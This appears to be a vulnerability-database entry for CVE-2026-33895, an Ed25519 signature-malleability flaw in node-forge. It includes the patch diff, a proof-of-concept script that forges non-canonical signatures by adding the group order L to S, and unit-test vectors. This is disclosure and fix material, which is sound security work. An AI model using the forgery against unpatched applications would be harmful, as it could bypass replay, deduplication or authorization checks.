VYPR
High severity7.5NVD Advisory· Published Mar 27, 2026· Updated Apr 14, 2026

CVE-2026-33895

CVE-2026-33895

Description

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
node-forgenpm
< 1.4.01.4.0

Affected products

1

Patches

1
bdecf11571c9

Add canonical signature scaler check for S < L.

https://github.com/digitalbazaar/forgeDavid I. LehnMar 20, 2026via ghsa
4 files changed · +171 0
  • CHANGELOG.md+15 0 modified
    @@ -27,6 +27,20 @@ Forge ChangeLog
         - Austin Chu, Sohee Kim, and Corban Villa.
       - CVE ID: [CVE-2026-33894](https://www.cve.org/CVERecord?id=CVE-2026-33894)
       - GHSA ID: [GHSA-ppp5-5v6c-4jwp](https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp)
    +- **HIGH**: Signature forgery in Ed25519 due to missing S < L check.
    +  - Ed25519 signature verification accepts forged non-canonical signatures
    +    where the scalar S is not reduced modulo the group order (S >= L). A valid
    +    signature and its S + L variant both verify in forge, while Node.js
    +    crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the
    +    specification. This class of signature malleability has been exploited in
    +    practice to bypass authentication and authorization logic (see
    +    CVE-2026-25793, CVE-2022-35961). Applications relying on signature
    +    uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object
    +    canonicalization checks) may be bypassed.
    +  - Reported as part of a U.C. Berkeley security research project by:
    +    - Austin Chu, Sohee Kim, and Corban Villa.
    +  - CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895)
    +  - GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw)
     
     ### Changed
     - [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier
    @@ -41,6 +55,7 @@ Forge ChangeLog
     - [rsa] Fix padding length check according to RFC 2313 8.1 note 6. Padding is
       required to be eight octets for block types 1 and 2.
     - [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two.
    +- [ed25519] Add canonical signature scaler check for S < L.
     
     ## 1.3.3 - 2025-12-02
     
    
  • lib/ed25519.js+19 0 modified
    @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
         return -1;
       }
     
    +  if(!_isCanonicalSignatureScalar(sm, 32)) {
    +    return -1;
    +  }
    +
       for(i = 0; i < n; ++i) {
         m[i] = sm[i];
       }
    @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
       return mlen;
     }
     
    +function _isCanonicalSignatureScalar(bytes, offset) {
    +  var i;
    +  // Compare little-endian scalar S against group order L and require S < L.
    +  for(i = 31; i >= 0; --i) {
    +    if(bytes[offset + i] < L[i]) {
    +      return true;
    +    }
    +    if(bytes[offset + i] > L[i]) {
    +      return false;
    +    }
    +  }
    +  // S == L is non-canonical.
    +  return false;
    +}
    +
     function modL(r, x) {
       var carry, i, j, k;
       for(i = 63; i >= 32; --i) {
    
  • tests/pocs/ghsa-q67f-28xg-22rw.js+103 0 added
    @@ -0,0 +1,103 @@
    +#!/usr/bin/env node
    +'use strict';
    +
    +// Security Advisory PoC
    +//
    +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw
    +//
    +// This vulnerability was discovered as part of a U.C. Berkeley security
    +// research project by: Austin Chu, Sohee Kim, and Corban Villa.
    +//
    +// Test vectors from this code were added in the ed25519 unit tests.
    +
    +const path = require('path');
    +const crypto = require('crypto');
    +const forge = require('../../lib/index');
    +const ed = forge.ed25519;
    +
    +const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
    +
    +// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
    +const ED25519_ORDER_L = Buffer.from([
    +  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
    +  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
    +  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    +  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
    +]);
    +
    +// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
    +// This returns a new signature with s := s + L (mod 2^256), plus the carry.
    +function addLToS(signature) {
    +  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    +    throw new Error('signature must be a 64-byte Buffer');
    +  }
    +  const out = Buffer.from(signature);
    +  let carry = 0;
    +  for (let i = 0; i < 32; i++) {
    +    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    +    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    +    out[idx] = sum & 0xff;
    +    carry = sum >> 8;
    +  }
    +  return { sig: out, carry };
    +}
    +
    +function toSpkiPem(publicKeyBytes) {
    +  if (publicKeyBytes.length !== 32) {
    +    throw new Error('publicKeyBytes must be 32 bytes');
    +  }
    +  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
    +  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
    +  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
    +  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
    +  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
    +  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
    +  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
    +}
    +
    +function verifyWithCrypto(publicKey, message, signature) {
    +  try {
    +    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    +    const ok = crypto.verify(null, message, keyObject, signature);
    +    return { ok };
    +  } catch (error) {
    +    return { ok: false, error: error.message };
    +  }
    +}
    +
    +function toResult(label, original, tweaked) {
    +  return {
    +    [label]: {
    +      original_valid: original.ok,
    +      tweaked_valid: tweaked.ok,
    +    },
    +  };
    +}
    +
    +function main() {
    +  const kp = ed.generateKeyPair();
    +  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
    +  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
    +  const tweaked = addLToS(sig);
    +  const okTweaked = ed.verify({
    +    message: MESSAGE,
    +    signature: tweaked.sig,
    +    publicKey: kp.publicKey,
    +  });
    +  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
    +  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
    +  const result = {
    +    ...toResult('forge', { ok }, { ok: okTweaked }),
    +    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
    +  };
    +  console.log(JSON.stringify(result, null, 2));
    +  // enable for debugging on to make test vectors
    +  //console.log({
    +  //  message: MESSAGE.toString('hex'),
    +  //  sig: sig.toString('hex'),
    +  //  sigSplusL: tweaked.sig.toString('hex'),
    +  //  pk: kp.publicKey.toString('hex')
    +  //});
    +}
    +
    +main();
    
  • tests/unit/ed25519.js+34 0 modified
    @@ -345,6 +345,40 @@ var UTIL = require('../../lib/util');
           ASSERT.equal(hex(signature), expectedSignature);
           ASSERT.equal(verified, true);
         });
    +
    +    describe('GHSA-q67f-28xg-22rw S < L check', function() {
    +      var message = UTIL.hexToBytes(
    +        '6464657270796d2069732074686520636f6f6c657374206d616e20616c69766521');
    +      var signature = UTIL.hexToBytes(
    +        'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' +
    +        '4510c797bb7ee0bf2c3b29a105f238113d40bf5cbc9a06d2d63be61bae486707');
    +      // tweaked signature with S+L
    +      var splusl = UTIL.hexToBytes(
    +        'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' +
    +        '32e4bcf4d5e1f21703d82044e4eb17263d40bf5cbc9a06d2d63be61bae486717');
    +      var publicKey = UTIL.hexToBytes(
    +        'ba2a71c1cb8ddaf184d215e0d52c7c82fd37ac52c571fc459ab8f6d034f4e3c7');
    +
    +      it('should verify good signature', function() {
    +        var verified = ED25519.verify({
    +          message: message,
    +          encoding: 'utf8',
    +          signature: signature,
    +          publicKey: publicKey
    +        });
    +        ASSERT.equal(verified, true);
    +      });
    +
    +      it('should not verify S+L signature', function() {
    +        var verified = ED25519.verify({
    +          message: message,
    +          encoding: 'utf8',
    +          signature: splusl,
    +          publicKey: publicKey
    +        });
    +        ASSERT.equal(verified, false);
    +      });
    +    });
       });
     
       function eb64(buffer) {
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

7

News mentions

0

No linked articles in our index yet.